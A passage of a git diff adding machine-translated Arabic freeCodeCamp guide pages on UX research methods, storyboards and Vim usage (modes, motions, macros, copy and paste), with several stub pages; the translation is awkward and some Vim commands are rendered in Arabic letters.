+*   أ) **المقابلات الموجهة** حيث يطرح الباحث أسئلة محددة على المستخدمين ويحاول مقارنة الإجابات مع المستخدمين الآخرين
+*   ب) **المقابلات غير الموجهة** حيث يحاول الباحث إجراء مزيد من المناقشة العامة مع المستخدم (المستخدمين)
+*   ج) **المقابلات الإثنوغرافية** حيث يلاحظ الباحث المستخدم (المستخدمين) في بيئتهم الخاصة لفهم كيفية تعاملهم مع جوانب معينة ، وتحقيق مهام معينة.
+
+1.  **الاستطلاعات والاستبيانات** - هي طريقة سريعة لجمع المعلومات من عدد كبير من المستخدمين ، لكن محدودية هذه الأسباب هي عدم وجود أي تفاعل بين الباحث والمستخدمين.
+    
+2.  **اختبارات قابلية الاستخدام -** يحل الطلب من المستخدمين (المستخدمين) استخدام التطبيق / المنتج لتحقيق أهداف معينة. هناك ثلاثة أنواع من هذه الاختبارات:
+    
+
+*   أ) **الاختبار المعتدل** - حيث يتم إحضار المستخدمين إلى المختبر وإعطاء مهام أو اختبارات محددة لأداءها.
+*   ب) **اختبار لا يتم** الإشراف عليه - حيث يكمل المستخدمون الاختبار في وقتهم عادةً عن بُعد.
+*   ج) **اختبار حرب العصابات** - وهو شكل من أشكال الاختبار غير الرسمي حيث يُطلب من المستخدمين العشوائيين في موقع اجتماعي أو مجتمع محلي استخدام التطبيق / المنتج وتقديم تعليقات غير رسمية.
+
+1.  **تصنيفات البطاقات** - الهدف الأساسي من اختبار فرز البطاقات هو فهم كيفية إدراك المستخدمين للعلاقات والتسلسل الهرمي بين مختلف المحتوى والفئات والمعلومات الأخرى. يستخدم هذا عادة لإنشاء بنية المعلومات المناسبة أو خرائط الموقع.
+    
+2.  **اختبارات الشجرة -** المشابهة لفرز البطاقات ، الهدف الأساسي هو اختبار ما إذا كان المنتج / التطبيق يتمتع بمستوى مناسب من المعلومات يتم تصميم نظام التسلسل الهرمي داخل المنتج.
+    
+3.  **اختبارات A / B -** تركز على تزويد المستخدم بخيارين أو أكثر وتوثيق تفضيلات المستخدم من بين الخيارات. هناك اختبارات اختبارات A / B متقدمة أو مركزة على جانب معين من المنتج مثل عناصر التصميم ، وهروب المعلومات ، والملاحة ، وأكثر من ذلك.
+    
+4.  **تنمية الشخصية** - ... هو في الأساس تمثيل لمجموعة من المستخدمين الذين يظهرون نمطًا مشابهًا جدًا من حيث سلوك استخدام التطبيق بغض النظر عن العمر والجنس والموقع والتعليم والمهنة.
+    
+
+### مصادر
+
+1.  [مورتنسن ، ديتي. "أفضل الممارسات لبحث المستخدم النوعي." _مؤسسة تصميم التفاعل._ كانون الثاني ، 2018. تم الوصول إليه: 13 من شباط عام 2018.](https://www.interaction-design.org/literature/article/best-practices-for-qualitative-user-research)
+
+### مصادر
+
+" [أساليب البحث النوعية في تصميم UX](https://www.slideshare.net/uxtalktokyo/ux-tokyo-talk-6-markus) " بواسطة ماركوس هيبرلين (عرض SlideShare ، كما هو موضح في UX Tokyo Talk 2014)
+
+" [12 تقنية أبحاث UX (الكمية النوعية abnd)](https://medium.com/ux-design-web-mobile-virtual-reality/12-ux-research-techniques-quantitative-and-qualitative-1a37bcb1914e) " بقلم كيفن دالفي
+
+" [دليل المبتدئين الكامل لأبحاث UX](http://www.uxbooth.com/articles/complete-beginners-guide-to-design-research/) " بواسطة [UX Booth](http://www.uxbooth.com/)
+
+" [A Crash Course in UX Design Research](https://uxdesign.cc/a-crash-course-in-ux-design-research-ea00c3307c82) " by Matt Lavoie at [UX Collective](https://uxdesign.cc/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/quantitative-testing/index.md b/client/src/guide/arabic/user-experience-research/quantitative-testing/index.md
new file mode 100644
index 0000000000..d0f3d39680
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/quantitative-testing/index.md
@@ -0,0 +1,11 @@
+---
+title: Quantitative Testing
+localeTitle: الاختبار الكمي
+---
+## الاختبار الكمي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/quantitative-testing/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/storyboards/index.md b/client/src/guide/arabic/user-experience-research/storyboards/index.md
new file mode 100644
index 0000000000..5cdb74c1b8
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/storyboards/index.md
@@ -0,0 +1,18 @@
+---
+title: Storyboards
+localeTitle: القصص المصورة
+---
+## القصص المصورة
+
+تستخدم القصص المصورة لرسم صورة مرئية لرحلة المستخدم باستخدام منتج أو برنامج.
+
+تتضمن القصة المصورة استخدام الصور المرئية لإنشاء قصة. هذا يخلق انطباع دائم أكثر من النص العادي.
+
+كأحد أفضل الممارسات ، فهو أول رسم للوظائف المتوقعة للمشروع (على سبيل المثال ، موقع ويب ، تطبيق ، خدمة ، إلخ). الغرض منه هو المساعدة في تخطيط متطلبات المشروع وتحديد الخطوات الضرورية (سير العمل) التي يتطلبها إكمال المهمة. على سبيل المثال ، يرسم رسم تخطيطي لصفحة ويب مصادقة (قبل أي رمز) ، ونوع البيانات المطلوبة من المستخدم ، والإجراءات اللازمة لتنفيذها في النهاية الخلفية ، وما هو الناتج المتوقع من الإجراء.
+
+تعتبر Storyboarding تقنية رائعة عند محاولة تطوير أو شرح تجربة ما. لا تتطلب القصة المصورة مهارات فنية دقيقة ، ولكنها تركز على الرؤية البصرية وخلق السرد في تفسير. تشبه لوحة القصص المصورة ، مثلها مثل الكتاب الهزلي ، صورًا فردية (تشبه إلى حد كبير لقطة من القصة). ثم يتم وضع هذه الصور في ترتيب معين لإنتاج عمل فني متسلسل حيث يشكل دماغ المشاهد الروابط بين الصور لإنتاج السرد. عند إنشاء لوحة قصصية ، يمكن أن تنعكس "اللقطات" التي تختارها لإخبار القصة بشكل نقدي على مراجعة أفضل لموقف الكاتب ومنظوره حول القصة. يمكن استخدام القصص المصورة للعديد من المناطق ، بما في ذلك الترميز ، حيث يمكنها تطوير فهم شامل وموحد للوظائف وتجربة المستخدم المقصودة عند استخدام البرنامج. تتمثل إحدى الفوائد الرئيسية للقصص المصورة في أن استخدام القصص أكثر جاذبية من سرد الحقائق ويمكنه زيادة ذاكرة المشاهد ، ولهذا السبب يمكن أن تكون القصص المصورة أدوات رائعة عند تقديم العروض.
+
+#### معلومات اكثر:
+
+*   لمعرفة المزيد عن القصص المصورة ، يمكنك زيارة هذا [الرابط](https://uxplanet.org/storyboarding-in-ux-design-b9d2e18e5fab?gi=84d3b1dc4704)
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Storyboard)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/testing-assumptions/index.md b/client/src/guide/arabic/user-experience-research/testing-assumptions/index.md
new file mode 100644
index 0000000000..60640ac70e
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/testing-assumptions/index.md
@@ -0,0 +1,11 @@
+---
+title: Testing Assumptions
+localeTitle: افتراضات الاختبار
+---
+## افتراضات الاختبار
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/testing-assumptions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/understanding-competitors/index.md b/client/src/guide/arabic/user-experience-research/understanding-competitors/index.md
new file mode 100644
index 0000000000..7b4c23c793
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/understanding-competitors/index.md
@@ -0,0 +1,11 @@
+---
+title: Understanding Competitors
+localeTitle: فهم المنافسين
+---
+## فهم المنافسين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/understanding-competitors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/usability-testing/index.md b/client/src/guide/arabic/user-experience-research/usability-testing/index.md
new file mode 100644
index 0000000000..5349988d83
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/usability-testing/index.md
@@ -0,0 +1,11 @@
+---
+title: Usability Testing
+localeTitle: اختبار قابلية الاستخدام
+---
+## اختبار قابلية الاستخدام
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/usability-testing/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/vagrant/index.md b/client/src/guide/arabic/vagrant/index.md
new file mode 100644
index 0000000000..eb79f6d367
--- /dev/null
+++ b/client/src/guide/arabic/vagrant/index.md
@@ -0,0 +1,11 @@
+---
+title: Vagrant 
+localeTitle: المتشرد
+---
+## المتشرد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/vim/basic-usage/index.md b/client/src/guide/arabic/vim/basic-usage/index.md
new file mode 100644
index 0000000000..7bf30d3776
--- /dev/null
+++ b/client/src/guide/arabic/vim/basic-usage/index.md
@@ -0,0 +1,47 @@
+---
+title: Basic Usage
+localeTitle: الاستخدام الأساسي
+---
+## VIM الاستخدام الأساسي
+
+### افتح الملف
+
+*   تشغيل vim أو vi وفتح اسم الملف المعطى.
+
+### وضع الإدراج
+
+*   بمجرد فتح الصفحة ، أدخل I وسترى النص "Insert Mode" في أسفل الشاشة. من هنا يمكنك إجراء أي تغييرات تريدها على نص الملف الخاص بك.
+
+### حفظ الملف
+
+*   : ث
+
+### حفظ وخروج
+
+*   : س
+*   SHIFT ZZ
+*   : وك
+
+### قم بإنهاء الملف إذا لم يتم إجراء أي تغييرات
+
+*   : ف
+
+### قم بإنهاء الملف وقم بالتراجع عن أي تغييرات تم إجراؤها
+
+*   : ف!
+
+### أرقام خط العرض
+
+*   : مجموعة نو
+
+### لا تعرض أرقام الأسطر
+
+*   : تعيين nonu
+
+### إضافة لون بناء الجملة على أساس لغة بروغ المستخدمة
+
+*   : بناء جملة على
+
+## حول فيم
+
+Vim هو محرر النص المستخدم بشكل أساسي في وضع CLI. ولكن الآن المحرر هو متاح أيضا في إصدارات مختلفة. هنالك أيضا GVIM وهو النسخة الرسومية من VIM. vi كان المحرر الرئيسي ثم تحسنت وأطلق عليها اسم السادس تحسن فيم.
\ No newline at end of file
diff --git a/client/src/guide/arabic/vim/copy-and-paste/index.md b/client/src/guide/arabic/vim/copy-and-paste/index.md
new file mode 100644
index 0000000000..e3a812e2bb
--- /dev/null
+++ b/client/src/guide/arabic/vim/copy-and-paste/index.md
@@ -0,0 +1,41 @@
+---
+title: Copy and Paste
+localeTitle: نسخ و لصق
+---
+# نسخ ولصق في فيم
+
+في Vim ، يُشار عادةً إلى النسخ بـ "yanking" ، ويظل اللصق هو نفسه.
+
+### مفاتيح الأوامر
+
+المفاتيح المستخدمة للصباغة واللصق في Vim هي:
+
+*   `x` لحذف حرف
+*   `y` على انتزاع
+*   `p` لوضع / لصق بعد المؤشر
+*   `P` لوضع / لصق قبل المؤشر
+*   `pp` لوضع / الماضي خط كامل
+*   `d` لخفض
+*   `dd` لخفض خط كامل
+*   `"` لخفض أو تراجع إلى سجل
+
+### تقليد
+
+للنقر أو القص ، اكتب `y` أو `d` ، متبوعًا بـ "كائن نص". هذه تصف مقدار النص الذي يجب أن يتم سحبه أو حذفه. على سبيل المثال ، تقوم `yw` بنسخ كلمة واحدة وحذف `d$` من المؤشر إلى نهاية السطر. ويمكن استخدامهما أيضًا في الوضع المرئي ، والضغط على `v` وتحريك المؤشر ثم الضغط على `d` لحذف كل النص داخل التحديد.
+
+### سجلات
+
+السجل هو مجرد اسم آخر للحافظة. ولكن خلافا لغيرها من المحررين النص ، فيم لديها العديد من "قصاصات" من هذا القبيل.
+
+للانتقال أو الحذف إلى سجل ، اكتب `"<register name><command>` (على سبيل المثال: `"ayw` to \[y\] ank \[w\] ord to register `a` ). يمكن أن تكون أسماء السجل لطول واحد فقط لأسباب واضحة ( `"m` ، `"M` ، `"3` مسموح بها ، ولكن `"mr` ، `"MyReg` ، `"MyRegisterName` ليست كذلك). السجل الافتراضي الذي يتم تخزينه عند عدم تحديد السجل هو `"` وحافظة النظام التي يمكن الوصول إليها في برامج أخرى هي `+` . يمكنك أيضًا استخدام أحرف صغيرة للوصول إلى التسجيلات واستخدام الأحرف الكبيرة لإلحاق السجلات. على سبيل المثال `"dyy` نسخ الخط الحالي إلى سجل `d` ، كتابة `"D3yw` نسخ الكلمات الثلاث التالية ويضيفها إلى ما تم تخزينه بالفعل في `d` .
+
+### اللصق
+
+يمكن أن يتم لصق في الوضع العادي أو في وضع الإدراج. في الوضع العادي:
+
+*   `p` لصق بعد المؤشر
+*   `P` لصق قبل المؤشر
+*   `gp` يتم لصقها بعد المؤشر وتحريك المؤشر إلى نهاية اللصق
+*   `gP` قبل المؤشر `gP` المؤشر إلى نهاية العجينة
+
+في وضع الإدراج اكتب `Ctrl-r` للصق ثم اكتب تسجيلاً ، عادةً `"` ، سيتم لصق هذا من هذا السجل حيث يكون المؤشر وتحريك المؤشر إلى بعد اللصق.
\ No newline at end of file
diff --git a/client/src/guide/arabic/vim/index.md b/client/src/guide/arabic/vim/index.md
new file mode 100644
index 0000000000..00b0280984
--- /dev/null
+++ b/client/src/guide/arabic/vim/index.md
@@ -0,0 +1,30 @@
+---
+title: Vim
+localeTitle: جئت
+---
+# همة
+
+[![logo](https://upload.wikimedia.org/wikipedia/commons/thumb/9/9f/Vimlogo.svg/75px-Vimlogo.svg.png "شعار فيم")](https://vim.sourceforge.io)
+
+Vim (Vi IMproved) عبارة عن محرر نصوص قابل للتكوين بشكل كبير تم تصميمه لجعل إنشاء وتغيير أي نوع من النصوص فعال للغاية. يتم تضمينه كـ "vi" مع معظم أنظمة UNIX ، والذي يتضمن أيضًا Macos لـ Apple. فيم هو تحسن كبير على سابقتها _السادس،_ الذي تم تطويره من قبل أكثر من 40 عاما، ولا يزال قيد الاستخدام.
+
+Vim مستقر صخري وتفتخر بالعديد من الميزات بما في ذلك:
+
+*   شجرة التراجع المستمرة والمتعددة المستويات
+*   نظام البرنامج المساعد واسعة النطاق
+*   دعم لمئات من لغات البرمجة وتنسيقات الملفات
+*   بحث قوي واستبدالها
+*   يتكامل مع العديد من الأدوات
+*   دعم الماكرو المدمج في التلاعب بالنص الآلي
+*   قابلة للاستخدام على الأنظمة التي تفتقر إلى دعم برامج تحرير النصوص المستندة إلى واجهة المستخدم الرسومية
+
+واحد من الاختلافات الرئيسية أن Vim (وسابقتها ، _vi_ ) على المحررين الآخرين مثل _nano_ ، هو أنه _محرر شرطي_ ، مما يعني أنه يحتوي على العديد من أساليب التشغيل. على سبيل المثال ، يبدأ المحرر في _وضع التنقل_ ، والذي يسمح لك بالتنقل بسرعة حول المستند (أو ، بشكل أكثر دقة _بسرعة فائقة_ ). في هذا الوضع ، يمكنك إدخال الأوامر للتفاعل مع المستند الخاص بك ، مثل استخدام `:i` للدخول في `insert mode` `:q` للإقلاع ، `/<text>` للبحث في النص ، من بين أمور أخرى.
+
+الجزء المشروط من فيم هو ما يجعلها قوية حقا. للحصول على برنامج تعليمي تفاعلي ، يرجى زيارة [OpemVim](http://www.openvim.com/) . هنا يمكنك أن تجرب بنفسك العديد من ميزاته القوية.
+
+## معلومات اكثر
+
+لمزيد من المعلومات ، توجه إلى [الصفحة الرئيسية لـ Vim](https://vim.sourceforge.io)
+
+*   [Open Vim](http://www.openvim.com/) هو برنامج تعليمي Vim تفاعلي عبر الإنترنت يمكنك القيام به بشكل صحيح في المستعرض الخاص بك
+*   [Vim Adventures](https://vim-adventures.com) هي لعبة على الإنترنت تعتمد على اختصارات لوحة مفاتيح VIM. إنها لعبة "Zelda meets text".
\ No newline at end of file
diff --git a/client/src/guide/arabic/vim/macros/index.md b/client/src/guide/arabic/vim/macros/index.md
new file mode 100644
index 0000000000..4a03164f4a
--- /dev/null
+++ b/client/src/guide/arabic/vim/macros/index.md
@@ -0,0 +1,36 @@
+---
+title: Macros
+localeTitle: وحدات الماكرو
+---
+## وحدات الماكرو
+
+تسجيل وحدات الماكرو هو طريقة لجعل بعض المهام المتكررة تلقائيا في VIM.
+
+### تسجيل وحدات الماكرو
+
+تستخدم وحدات الماكرو أحد سجلات VIM للتخزين ، حيث يتم تحديد كل سجل بحرف `a` إلى `z` .
+
+لبدء ماكرو ، في الوضع العادي ، اضغط على:
+
+ `q<REGISTER LETTER> 
+` 
+
+مثال: `qq` يبدأ ماكرو في السجل `q` ، يبدأ `qs` الماكرو في التسجيل `s`
+
+عند هذه النقطة سترى في خط القاع VIM `recording @q` ، وهذا يعني أن كل ما تكتبه الآن سوف يتم تسجيله في الماكرو.
+
+لإيقاف تسجيل الماكرو ، اضغط على `<ESC>` للعودة إلى الوضع العادي ، و `q` لإنهاء الماكرو.
+
+لتنفيذ الماكرو الذي قمت بتسجيله ، اضغط على `@` والسجل `q` .
+
+#### تبدو العملية كاملة هكذا:
+
+*   `qq` -> بدء تسجيل الماكرو في التسجيل `q`
+*   `...` -> سلسلة الأوامر التي تريد تسجيلها
+*   `<ESC>q` -> ارجع إلى الوضع العادي وقم بإنهاء سجل الماكرو
+*   `@q` -> تنفيذ الماكرو ، بدءًا من الخط الذي تستخدمه حاليًا
+*   `@@` تنفيذ الماكرو مرة أخرى
+
+### مزيد من المعلومات
+
+يمكنك العثور على مزيد من المعلومات حول وحدات الماكرو في VIM Tips Wiki: http://vim.wikia.com/wiki/Macros
\ No newline at end of file
diff --git a/client/src/guide/arabic/vim/modes/index.md b/client/src/guide/arabic/vim/modes/index.md
new file mode 100644
index 0000000000..acda20de49
--- /dev/null
+++ b/client/src/guide/arabic/vim/modes/index.md
@@ -0,0 +1,110 @@
+---
+title: Modes in Vim
+localeTitle: وسائط في فيم
+---
+# وسائط فيم
+
+لأن Vim يركز على تغيير التعليمات البرمجية الموجودة بنفس قدر كتابة جديد رمز ، يتم تقسيمها إلى عدة طرق لكل منها أغراض مختلفة.
+
+### الوضع العادي
+
+بشكل افتراضي ، يبدأ Vim في الوضع "العادي". يمكن الوصول إلى الوضع العادي من أوضاع أخرى عن طريق الضغط على `Esc` أو `<C-[>` .
+
+في الوضع العادي لا تعمل مفاتيح الضغط كما يتوقع المرء. بمعنى ، أنها لا تقوم بإدراج نص في المستند؛ في حين أن، يمكن لبعض مفاتيح الضغط:
+
+#### حرك المؤشر
+
+*   **ح** تحريك شخصية واحدة اليسار
+*   **ي** نقل صف واحد لأسفل
+*   **ك** تحريك صف واحد لأعلى
+*   **ل** حرك شخصية واحدة الحق
+
+مثل العديد من الأوامر vim ، يمكن بدء حركة الصف برقم لتحريك s خطوط everal في كل مرة:
+
+*   **4j** ينقل 4 صفوف لأسفل
+*   **6k** تحرك 6 صفوف لأعلى
+
+الحركات الأساسية للكلمة:
+
+*   **w** الانتقال إلى بداية الكلمة التالية
+*   **ب** انتقل إلى بداية الكلمة السابقة
+*   **ه** الانتقال إلى نهاية الكلمة
+*   **W** الانتقال إلى بداية الكلمة التالية بعد مسافة بيضاء
+*   **B** الانتقال إلى بداية الكلمة السابقة قبل مسافة بيضاء
+*   **E** الانتقال إلى نهاية الكلمة قبل مسافة بيضاء
+
+بداية / نهاية حركة الخط:
+
+*   **0** الانتقال إلى بداية السطر
+*   انتقال **$** إلى نهاية السطر
+
+#### التعامل مع النص
+
+#### أدخل أوضاع أخرى
+
+**الوضع العادي** هو المكان الذي ينبغي للمرء أن يقضي معظم وقته أثناء استخدام Vim. تذكر، هذا ما يجعل فيم مختلفًا.
+
+في الوضع العادي ، هناك طرق متعددة للتنقل في ملف مفتوح. بالاضافة لاستخدام مفاتيح المؤشر للتنقل ، يمكنك استخدام `h` (يسار) ، `j` (لأسفل) ، `k` (أعلى) ، و `l` (يمين) للتحرك كذلك. هذا يساعد بشكل خاص على لمس الطابعين الذين لا أحب ترك صف المنزل عند إجراء تغييرات.
+
+يمكنك أيضًا إجراء تغييرات على الأحرف الفردية في الوضع العادي. على سبيل المثال ، ل اﺳﺘﺒﺪل ﺣﺮف واﺣﺪ ، ﺣﺮك اﻟﻤﺆﺷﺮ ﻋﻠﻴﻪ واﺿﻐﻂ ﻋﻠﻰ `r` ، ﺛﻢ اﺿﻐﻂ ﻋﻠﻰ شخصية تريد استبدالها بها. وبالمثل ، يمكنك حذف أحرف واحدة عن طريق تحريك المؤشر فوقها والضغط على `x` .
+
+لإجراء التراجع ، اضغط على `u` في الوضع العادي. هذه التغيّرات تتغير حتى النهاية الوقت الذي كنت فيه في الوضع العادي. إذا كنت ترغب في إعادة _(أي_ التراجع عن التراجع الخاص بك) الصحافة `Ctrl+r` في الوضع العادي.
+
+### وضع الإدراج
+
+هذا هو الوضع الثاني الأكثر استخدامًا ، وسيكون السلوك الأكثر شيوعًا لمعظم الناس. بمجرد إدخال وضع الإدراج ، تدرج كتابة الأحرف مثل العادية محرر النص. يمكنك إدخالها باستخدام أمر إدراج من الوضع العادي.
+
+تتضمن أوامر الإدراج:
+
+*   `i` ل ' **أنا** nsert' ، وهذا على الفور تبديل vim لوضع الإدراج
+*   `a` لـ ' **a** ppend' ، يؤدي هذا إلى تحريك المؤشر بعد الحرف الحالي ويدخل في وضع الإدراج
+*   `o` إدراج سطر جديد أسفل الخط الحالي ويدخل في وضع الإدراج على السطر الجديد
+
+تحتوي هذه الأوامر على مجموعة كبيرة أيضًا:
+
+*   `I` حرك المؤشر إلى بداية السطر ويدخل وضع الإدراج
+*   `A` يتحرك المؤشر إلى نهاية السطر ويدخل وضع الإدراج
+*   تدرج `O` خطًا جديدًا فوق الخط الحالي وتدخل في وضع الإدراج على السطر الجديد
+
+هناك الكثير من الطرق لإدخال النص في Vim لا يمكن سردها هنا لكن هذه هي الأبسط. أيضا ، حذار من البقاء في وضع الإدراج لفترة طويلة جدا. فيم هو غير مصممة ليتم استخدامها في وضع الإدراج في كل وقت.
+
+لترك وضع الإدراج والعودة إلى الوضع العادي ، اضغط على `Esc` أو `<C-[>`
+
+### الوضع المرئي
+
+يتم استخدام الوضع المرئي لإجراء تحديدات للنص ، على غرار كيفية النقر والسحب باستخدام يتصرف الماوس. يسمح تحديد النص للأوامر بالتطبيق فقط على التحديد ، مثل النسخ ، حذف ، استبدال ، وهلم جرا.
+
+لعمل اختيار نص:
+
+*   اضغط على `v` للدخول إلى الوضع المرئي ، وسيمثل هذا أيضًا نقطة تحديد بداية
+*   انقل المؤشر إلى نقطة التحديد النهائية المطلوبة ؛ سوف vim توفير مرئي تسليط الضوء على اختيار النص
+
+يحتوي الوضع المرئي أيضًا على المتغيرات التالية:
+
+*   `V` لإدخال وضع الخط المرئي ، سيؤدي هذا إلى تحديد النص عن طريق السطر
+*   `<CV>` للدخول إلى وضع الحظر المرئي ، سيؤدي هذا إلى تحديد النص بواسطة الكتل ؛ تحريك سوف يجعل المؤشر تحديدات المستطيل للنص
+
+لترك الوضع المرئي والعودة إلى الوضع العادي ، اضغط على `Esc` أو `<C-[>` .
+
+يحتوي الوضع المرئي بالفعل على أنواع فرعية متعددة: _مرئي_ ، _مرئي_ ، _مرئي_ ، _وخطي-مرئي_
+
+*   _البصرية_ : كما هو موضح أعلاه. أدخل عن طريق الضغط على `v`
+*   _block-visual_ : حدد أي منطقة مستطيلة. أدخل عن طريق الضغط على `<ctrl>+v`
+*   _linewise-visual_ : حدد دائمًا الخطوط الكاملة. أدخل عن طريق الضغط على `<shift>+v`
+
+### وضع الأوامر
+
+يحتوي وضع الأوامر على مجموعة متنوعة من الأوامر ويمكنه القيام بالأمور بالطريقة العادية لا يمكن القيام به بسهولة. للدخول إلى وضع الأمر اكتب ":" من الوضع العادي ثم اكتب الأمر الذي يجب أن يظهر في أسفل النافذة. على سبيل المثال ، لإجراء بحث شامل واستبدال النوع `:%s/foo/bar/g` لاستبداله كل "foo" مع "bar"
+
+*   `:` وضع الأوامر
+*   `%` تعني جميع الخطوط
+*   `s` سائل بديلا
+*   `/foo` هو تعبير منطقي للعثور على الأشياء التي تريد استبدالها
+*   `/bar/` هو regex لاستبدال الأشياء بها
+*   `/g` تعني عالميًا ، وإلا سيتم تنفيذه مرة واحدة فقط في كل سطر
+
+لدى Vim عددًا من الطرق الأخرى التي يمكنك القراءة عنها في التعليمات الوثائق ، `:h` أو `:help` .
+
+### استبدال الوضع
+
+يتيح لك وضع الاستبدال استبدال النص الحالي عن طريق الكتابة فوقه بشكل مباشر. قبل الدخول إلى هذا الوضع ، ادخل إلى الوضع العادي وضع المؤشر أعلى الحرف الأول الذي تريد استبداله. ثم اضغط على "R" (رأس المال R) إلى ادخل وضع الاستبدال. الآن ما ستكتبه سيحل محل النص الموجود. ال يتحرك المؤشر تلقائيًا إلى الحرف التالي تمامًا كما هو الحال في وضع الإدراج. ال الفرق الوحيد هو أن كل حرف تكتبه سيحل محل الحرف الموجود.
\ No newline at end of file
diff --git a/client/src/guide/arabic/vim/motions/index.md b/client/src/guide/arabic/vim/motions/index.md
new file mode 100644
index 0000000000..e194d450ca
--- /dev/null
+++ b/client/src/guide/arabic/vim/motions/index.md
@@ -0,0 +1,87 @@
+---
+title: Motions
+localeTitle: الاقتراحات
+---
+# فيم الحركات الأساسية
+
+### حركات المؤشرات
+
+أولاً في VIM ، يمكننا استخدام مفاتيح الأسهم إذا كنا نرغب في التنقل في الملف النصي ، ولكنها ليست الطريقة المثلى للقيام بذلك ، وفقدنا ميزة الجمع بين الأوامر التي يوفرها VIM.
+
+بدلاً من ذلك ، تستخدم الطريقة الافتراضية وأفضل طريقة للتنقل عبر النص المفاتيح `h` (على اليسار) و `j` (لأسفل) و `k` (up) و `l` (يمين).
+
+ `     ^ 
+     | 
+     k 
+ <- h   l -> 
+     j 
+     | 
+     v 
+` 
+
+الميزة في استخدام هذه المفاتيح بدلاً من مفاتيح الأسهم ، يمكنك الجمع بين الحركات والأوامر الأخرى ، مثل:
+
+*   `d2j` -> حذف 2 خطوط لأسفل
+*   `y10k` -> نسخة 10 خطوط حتى
+*   `10l` -> نقل 10 caracters الحق
+*   `2h` -> حرّك حرفين متبقيين
+
+### كلمات الاقتراحات
+
+تتكون الكلمة من سلسلة من الحروف والأرقام والشرطات السفلية أو a تسلسل الأحرف الأخرى غير الفارغة ، مفصولة بمسافة بيضاء (مسافات ، علامات التبويب ، نهاية السطر). يعتبر أيضًا السطر الفارغ كلمة واحدة.
+
+من الممكن تحريك الكلمات الشاملة مع هذه commnads:
+
+*   `w` -> الانتقال إلى الكلمة التالية
+*   `W` -> انتقل إلى **الكلمة** التالية \*
+*   `e` -> الانتقال إلى نهاية الكلمة التالية
+*   `E` -> الانتقال إلى نهاية **الكلمة** التالية
+*   `b` -> الانتقال إلى الكلمة السابقة
+*   `B` -> الانتقال إلى **الكلمة** السابقة
+*   `ge` -> الانتقال إلى نهاية الكلمة السابقة
+*   `gE` -> الانتقال إلى نهاية **الكلمة** السابقة
+
+\* **كلمة** تتألف من سلسلة من الأحرف غير الفارغة ، مفصولة باللون الأبيض الفراغ. يعتبر الخط الفارغ أيضًا **كلمة** ، أي: `quux(foo,` `bar,` `foo);`
+
+مع هذه الاقتراحات مع الأوامر الأخرى يمكنك القيام بأشياء مثل:
+
+*   `dw` -> احذف الكلمة
+*   `5e` -> الانتقال إلى نهاية الكلمة الخامسة من هنا
+
+### حركات البحث
+
+هناك طريقة أخرى للتنقل عبر الموضع الذي يعجبك ، وهي استخدام حركات البحث ، وتتكون حركات البحث في حركة + حرف للبحث
+
+*   `fx` -> الانتقال إلى `x` القادم
+*   `tx` -> الانتقال إلى الموضع الأول قبل `x` التالي
+*   `;` -> التالي x
+*   `Fx` -> الانتقال إلى `x` السابق
+*   `Tx` -> الانتقال إلى الموضع الأول بعد `x` السابق
+*   `,` -> x السابق
+
+### تبدأ وتنتهي من الخطوط
+
+يمكنك أيضًا الانتقال لبدء أو نهاية السطر باستخدام VIM ، باستخدام هذه الأوامر:
+
+*   `0` -> بداية السطر
+*   `^` -> أول حرف غير أسود للخط
+*   `$` -> نهاية السطر
+
+### حركات الملفات
+
+في VIM ، يمكنك نقل الملف عبر هذه الأوامر باستخدام:
+
+*   `gg` -> الانتقال إلى السطر الأول من الملف
+*   `G` -> الانتقال إلى السطر الأخير من الملف
+*   `<ctrl> + f` -> نقل صفحة واحدة لأسفل
+*   `<ctrl> + b` -> حرك صفحة واحدة لأعلى
+*   `/text` -> البحث عن `text`
+*   `n` -> الانتقال إلى التكرار التالي `text` (الأمر السابق)
+*   `?text` -> البحث عن `text` السابق
+*   `N` -> الانتقال إلى تواجد `text` السابق
+*   `{` -> نقل فقرة واحدة لأعلى
+*   `}` -> حرك فقرة واحدة لأسفل
+*   `(` -> نقل جملة واحدة لأعلى
+*   `)` -> قم بتحريك أحدهما للخلف
+*   `#` -> العثور على الكلمة تحت المؤشر
+*   `*` -> العثور على الكلمة تحت المؤشر لأسفل
\ No newline at end of file
diff --git a/client/src/guide/arabic/vim/navigation/index.md b/client/src/guide/arabic/vim/navigation/index.md
new file mode 100644
